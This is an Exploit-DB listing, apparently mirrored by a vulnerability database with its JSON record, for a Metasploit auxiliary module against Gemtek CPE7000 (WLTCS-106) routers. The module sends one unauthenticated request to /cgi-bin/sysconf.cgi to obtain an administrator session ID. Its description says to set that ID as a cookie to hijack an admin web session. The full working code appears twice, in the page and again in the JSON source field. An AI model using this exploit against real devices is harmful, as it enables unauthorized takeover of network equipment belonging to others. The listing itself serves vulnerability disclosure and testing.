Search...

Gemtek CPE7000 - WLTCS-106 Administrator SID Retriever MSF

2016-04-25T00:00:00

ID EDB-ID:39725
Type exploitdb
Reporter Federico Scalco
Modified 2016-04-25T00:00:00

Description

Gemtek CPE7000 - WLTCS-106 Administrator SID Retriever (MSF). Webapps exploit for hardware platform

                                        
                                            ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 &lt; Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           =&gt; 'Gemtek CPE7000 - WLTCS-106 Administrator SID Retriever',
      'Description'    =&gt; %q{
          A vulnerability exists for Gemtek CPE7000 model ID WLTCS-106 which allows
        unauthenticated remote attackers to retrieve a valid Administrative SID.

        To obtain an administrative web session inject this SID in your client's
        cookie with values as follow: userlevel=2;sid=&lt;SID&gt;

        Tested on Hardware version V02A and Firmware version 01.01.02.082.
      },
      'References'     =&gt;
        [
          [ 'EDB', '39716' ],
          [ 'URL', 'http://www.mentat.is/docs/cpe7000-multiple-vulns.html' ],
          [ 'URL' , 'http://www.gemtek.com.tw/' ]
        ],
      'Author'         =&gt;
        [
          'Federico Scalco &lt;fscalco [ at] mentat.is&gt;'
          #Based on the exploit by Federico Ramondino &lt;framondino [at ] mentat.is&gt;
        ],
      'License'        =&gt; MSF_LICENSE,
      'DisclosureDate' =&gt; "Apr 07 2016",
      'DefaultOptions' =&gt;
      {
        'RPORT' =&gt; 443
      }
    ))

    register_options(
      [
        OptString.new("TARGETURI", [true, 'The base URI to target application', '/']),
        OptBool.new('SSL', [true, 'Use SSL', true])
      ], self.class)
  end

  def run
    @peer = "#{rhost}:#{rport}"

    res = send_request_cgi({
      'method'   =&gt; 'GET',
      'uri'      =&gt; '/cgi-bin/sysconf.cgi',
      'vars_get' =&gt; {
        'page' =&gt; 'ajax.asp',
        'action' =&gt; 'login_confirm'
      }
    })

    if !res or res.code != 200
      fail_with(Failure::UnexpectedReply, "Server did not respond in an expected way")
    end

    ssid = res.body.split(',', 2)
    print_good("#{@peer} - Valid root SID retrieved: #{ssid[1]}")
  end
end

JSON Vulners Source

Initial Source

{"id": "EDB-ID:39725", "type": "exploitdb", "bulletinFamily": "exploit", "title": "Gemtek CPE7000 - WLTCS-106 Administrator SID Retriever MSF", "description": "Gemtek CPE7000 - WLTCS-106 Administrator SID Retriever (MSF). Webapps exploit for hardware platform", "published": "2016-04-25T00:00:00", "modified": "2016-04-25T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://www.exploit-db.com/exploits/39725/", "reporter": "Federico Scalco", "references": [], "cvelist": [], "lastseen": "2016-04-26T01:11:41", "viewCount": 17, "enchantments": {"score": {"value": 0.4, "vector": "NONE", "modified": "2016-04-26T01:11:41", "rev": 2}, "dependencies": {"references": [], "modified": "2016-04-26T01:11:41", "rev": 2}, "vulnersScore": 0.4}, "sourceHref": "https://www.exploit-db.com/download/39725/", "sourceData": "##\r\n# This module requires Metasploit: http://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nrequire 'msf/core'\r\n\r\nclass Metasploit3 < Msf::Auxiliary\r\n\r\n include Msf::Exploit::Remote::HttpClient\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'Gemtek CPE7000 - WLTCS-106 Administrator SID Retriever',\r\n 'Description' => %q{\r\n A vulnerability exists for Gemtek CPE7000 model ID WLTCS-106 which allows\r\n unauthenticated remote attackers to retrieve a valid Administrative SID.\r\n\r\n To obtain an administrative web session inject this SID in your client's\r\n cookie with values as follow: userlevel=2;sid=<SID>\r\n\r\n Tested on Hardware version V02A and Firmware version 01.01.02.082.\r\n },\r\n 'References' =>\r\n [\r\n [ 'EDB', '39716' ],\r\n [ 'URL', 'http://www.mentat.is/docs/cpe7000-multiple-vulns.html' ],\r\n [ 'URL' , 'http://www.gemtek.com.tw/' ]\r\n ],\r\n 'Author' =>\r\n [\r\n 'Federico Scalco <fscalco [ at] mentat.is>'\r\n #Based on the exploit by Federico Ramondino <framondino [at ] mentat.is>\r\n ],\r\n 'License' => MSF_LICENSE,\r\n 'DisclosureDate' => \"Apr 07 2016\",\r\n 'DefaultOptions' =>\r\n {\r\n 'RPORT' => 443\r\n }\r\n ))\r\n\r\n register_options(\r\n [\r\n OptString.new(\"TARGETURI\", [true, 'The base URI to target application', '/']),\r\n OptBool.new('SSL', [true, 'Use SSL', true])\r\n ], self.class)\r\n end\r\n\r\n def run\r\n @peer = \"#{rhost}:#{rport}\"\r\n\r\n res = send_request_cgi({\r\n 'method' => 'GET',\r\n 'uri' => '/cgi-bin/sysconf.cgi',\r\n 'vars_get' => {\r\n 'page' => 'ajax.asp',\r\n 'action' => 'login_confirm'\r\n }\r\n })\r\n\r\n if !res or res.code != 200\r\n fail_with(Failure::UnexpectedReply, \"Server did not respond in an expected way\")\r\n end\r\n\r\n ssid = res.body.split(',', 2)\r\n print_good(\"#{@peer} - Valid root SID retrieved: #{ssid[1]}\")\r\n end\r\nend", "osvdbidlist": []}